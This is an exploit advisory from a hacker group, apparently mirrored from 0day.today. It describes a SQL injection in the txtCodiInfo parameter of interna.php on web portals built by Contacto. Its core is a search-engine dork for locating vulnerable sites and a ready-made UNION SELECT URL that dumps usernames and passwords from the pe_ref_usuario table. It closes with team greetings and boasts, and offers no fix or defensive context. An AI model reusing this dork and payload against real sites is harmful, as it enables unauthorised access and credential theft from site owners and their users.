Contacto portales web (interna.php) SQL Injection Vulnerability

===============================================================
Contacto portales web (interna.php) SQL Injection Vulnerability
===============================================================


########################################################################
#!/usr/bin/perl
# Author: Thehacker
# Site: [ [ :GODHACK.ORG : ] ]
# Software Link: http://www.contacto.com/
# DORKS : "/pages/interna.php?"
# Tested on: Web designed by Contacto
# CVE :
# Code :

########################################################################
DORKS : "inurl:/pages/interna.php?txtCodiInfo=-"
##########################################################################

[exploit code]

http://localhost/pages/interna.php?txtCodiInfo=-30%20union%20select%201,2,3,concat%28USR_USUARIO,0x3a,PAS_USUARIO%29,5,6,7,8,9,10%20from%20pe_ref_usuario--


########################################################################

-- Thehacker & Bl4ck Hat Team
-- Gretz : TR-shark | KOmandO | SoyletmeZ | HEXB00T3R & iSKORPiTX
-- Tnx all! //r0073r,str0k3,inj3ct0r,exploit-db,GODHACK

? We Will Never Stop Hacking
   ? Its not a game
     ? It's Our Job

-----(-GODHACK.ORG-)------



#  0day.today [2018-03-19]  #